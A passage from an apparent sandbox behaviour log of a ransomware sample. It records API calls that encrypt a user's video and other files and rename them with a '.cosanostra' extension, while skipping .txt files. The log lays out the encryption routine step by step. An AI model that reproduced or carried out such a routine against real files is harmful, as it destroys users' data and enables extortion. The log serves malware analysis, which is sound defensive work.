HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\58B-6 IXO.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\58b-6 ixo.flv.cosanostra")) returned 1 [0089.998] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f708 | out: pbBuffer=0x251f708) returned 1 [0089.998] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f700*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f700*=0x30) returned 1 [0089.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\fMmmbPrsQQxiiPR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\fmmmbprsqqxiipr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.999] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\fMmmbPrsQQxiiPR.flv") returned 81 [0089.999] StrStrW (lpFirst="fMmmbPrsQQxiiPR.flv", lpSrch=".txt") returned 0x0 [0089.999] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.999] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6c4*=0x2800, lpOverlapped=0x0) returned 1 [0089.999] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.000] WriteFile (in: hFile=0x154, lpBuffer=0x251f704*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6c4, lpOverlapped=0x0 | out: lpBuffer=0x251f704*, lpNumberOfBytesWritten=0x251f6c4*=0x4, lpOverlapped=0x0) returned 1 [0090.000] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6c4*=0x30, lpOverlapped=0x0) returned 1 [0090.000] CloseHandle (hObject=0x154) returned 1 [0090.000] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\fMmmbPrsQQxiiPR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\fmmmbprsqqxiipr.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\fMmmbPrsQQxiiPR.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\fmmmbprsqqxiipr.flv.cosanostra")) returned 1 [0090.000] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f708 | out: pbBuffer=0x251f708) returned 1 [0090.000] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f700*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f700*=0x30) returned 1 [0090.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\6rULTC1-ywH qXjo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\6rultc1-ywh qxjo.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.001] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\6rULTC1-ywH qXjo.swf") returned 82 [0090.001] StrStrW (lpFirst="6rULTC1-ywH qXjo.swf", lpSrch=".txt") returned 0x0 [0090.001] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.001] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6c4*=0x2800, lpOverlapped=0x0) returned 1 [0090.001] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.001] WriteFile (in: hFile=0x154, lpBuffer=0x251f704*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6c4, lpOverlapped=0x0 | out: lpBuffer=0x251f704*, lpNumberOfBytesWritten=0x251f6c4*=0x4, lpOverlapped=0x0) returned 1 [0090.002] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6c4*=0x30, lpOverlapped=0x0) returned 1 [0090.002] CloseHandle (hObject=0x154) returned 1 [0090.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\6rULTC1-ywH qXjo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\6rultc1-ywh qxjo.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\6rULTC1-ywH qXjo.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\6rultc1-ywh qxjo.swf.cosanostra")) returned 1 [0090.004] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f700 | out: pbBuffer=0x251f700) returned 1 [0090.004] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6f8*=0x30) returned 1 [0090.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\tUmoSApXeunZ3L.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tumosapxeunz3l.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.005] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\tUmoSApXeunZ3L.swf") returned 59 [0090.005] StrStrW (lpFirst="tUmoSApXeunZ3L.swf", lpSrch=".txt") returned 0x0 [0090.005] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.005] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6bc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6bc*=0x2800, lpOverlapped=0x0) returned 1 [0090.005] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.006] WriteFile (in: hFile=0x154, lpBuffer=0x251f6fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6bc, lpOverlapped=0x0 | out: lpBuffer=0x251f6fc*, lpNumberOfBytesWritten=0x251f6bc*=0x4, lpOverlapped=0x0) returned 1 [0090.006] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6bc*=0x30, lpOverlapped=0x0) returned 1 [0090.006] CloseHandle (hObject=0x154) returned 1 [0090.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\tUmoSApXeunZ3L.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tumosapxeunz3l.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\tUmoSApXeunZ3L.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tumosapxeunz3l.swf.cosanostra")) returned 1 [0090.006] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f700 | out: pbBuffer=0x251f700) returned 1 [0090.006] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6f8*=0x30) returned 1 [0090.006] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rAxvi7A3cy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\raxvi7a3cy.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.007] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rAxvi7A3cy.mkv") returned 55 [0090.007] StrStrW (lpFirst="rAxvi7A3cy.mkv", lpSrch=".txt") returned 0x0 [0090.007] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.007] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6bc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6bc*=0x2800, lpOverlapped=0x0) returned 1 [0090.008] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.008] WriteFile (in: hFile=0x154, lpBuffer=0x251f6fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6bc, lpOverlapped=0x0 | out: lpBuffer=0x251f6fc*, lpNumberOfBytesWritten=0x251f6bc*=0x4, lpOverlapped=0x0) returned 1 [0090.008] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6bc*=0x30, lpOverlapped=0x0) returned 1 [0090.008] CloseHandle (hObject=0x154) returned 1 [0090.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rAxvi7A3cy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\raxvi7a3cy.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rAxvi7A3cy.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\raxvi7a3cy.mkv.cosanostra")) returned 1 [0090.008] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6f8 | out: pbBuffer=0x251f6f8) returned 1 [0090.008] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6f0*=0x30) returned 1 [0090.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.009] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned 52 [0090.009] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.009] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.009] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x251f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6b4*=0x1f8, lpOverlapped=0x0) returned 1 [0090.009] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.009] WriteFile (in: hFile=0x154, lpBuffer=0x251f6f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6b4, lpOverlapped=0x0 | out: lpBuffer=0x251f6f4*, lpNumberOfBytesWritten=0x251f6b4*=0x4, lpOverlapped=0x0) returned 1 [0090.009] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6b4*=0x30, lpOverlapped=0x0) returned 1 [0090.010] CloseHandle (hObject=0x154) returned 1 [0090.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini.cosanostra")) returned 1 [0090.010] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6f8 | out: pbBuffer=0x251f6f8) returned 1 [0090.010] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6f0*=0x30) returned 1 [0090.010] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CIxEopeEHjI93Hvg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cixeopeehji93hvg.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.011] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CIxEopeEHjI93Hvg.mkv") returned 61 [0090.011] StrStrW (lpFirst="CIxEopeEHjI93Hvg.mkv", lpSrch=".txt") returned 0x0 [0090.011] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.012] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6b4*=0x2800, lpOverlapped=0x0) returned 1 [0090.012] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.012] WriteFile (in: hFile=0x154, lpBuffer=0x251f6f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6b4, lpOverlapped=0x0 | out: lpBuffer=0x251f6f4*, lpNumberOfBytesWritten=0x251f6b4*=0x4, lpOverlapped=0x0) returned 1 [0090.012] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6b4*=0x30, lpOverlapped=0x0) returned 1 [0090.012] CloseHandle (hObject=0x154) returned 1 [0090.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CIxEopeEHjI93Hvg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cixeopeehji93hvg.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CIxEopeEHjI93Hvg.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cixeopeehji93hvg.mkv.cosanostra")) returned 1 [0090.012] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6f0 | out: pbBuffer=0x251f6f0) returned 1 [0090.012] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6e8*=0x30) returned 1 [0090.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7VkCWu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7vkcwu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.013] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7VkCWu.swf") returned 51 [0090.013] StrStrW (lpFirst="7VkCWu.swf", lpSrch=".txt") returned 0x0 [0090.013] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.013] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6ac*=0x2800, lpOverlapped=0x0) returned 1 [0090.013] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.013] WriteFile (in: hFile=0x154, lpBuffer=0x251f6ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6ac, lpOverlapped=0x0 | out: lpBuffer=0x251f6ec*, lpNumberOfBytesWritten=0x251f6ac*=0x4, lpOverlapped=0x0) returned 1 [0090.014] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6ac*=0x30, lpOverlapped=0x0) returned 1 [0090.014] CloseHandle (hObject=0x154) returned 1 [0090.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7VkCWu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7vkcwu.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7VkCWu.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7vkcwu.swf.cosanostra")) returned 1 [0090.014] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6f0 | out: pbBuffer=0x251f6f0) returned 1 [0090.014] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6e8*=0x30) returned 1 [0090.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.014] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6e8 | out: pbBuffer=0x251f6e8) returned 1 [0090.014] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6e0*=0x30) returned 1 [0090.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.015] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6e0 | out: pbBuffer=0x251f6e0) returned 1 [0090.015] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6d8*=0x30) returned 1 [0090.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.016] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6e0 | out: pbBuffer=0x251f6e0) returned 1 [0090.016] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6d8*=0x30) returned 1 [0090.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.016] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6d8 | out: pbBuffer=0x251f6d8) returned 1 [0090.016] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6d0*=0x30) returned 1 [0090.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.016] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned 54 [0090.016] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.017] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffdf4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.017] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x251f694, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f694*=0x20c, lpOverlapped=0x0) returned 1 [0090.017] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.017] WriteFile (in: hFile=0x154, lpBuffer=0x251f6d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f694, lpOverlapped=0x0 | out: lpBuffer=0x251f6d4*, lpNumberOfBytesWritten=0x251f694*=0x4, lpOverlapped=0x0) returned 1 [0090.017] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f694, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f694*=0x30, lpOverlapped=0x0) returned 1 [0090.017] CloseHandle (hObject=0x154) returned 1 [0090.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini.cosanostra")) returned 1 [0090.018] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6d8 | out: pbBuffer=0x251f6d8) returned 1 [0090.018] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6d0*=0x30) returned 1 [0090.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.019] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6d0 | out: pbBuffer=0x251f6d0) returned 1 [0090.019] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6c8*=0x30) returned 1 [0090.019] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.020] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6c8 | out: pbBuffer=0x251f6c8) returned 1 [0090.020] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6c0*=0x30) returned 1 [0090.020] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 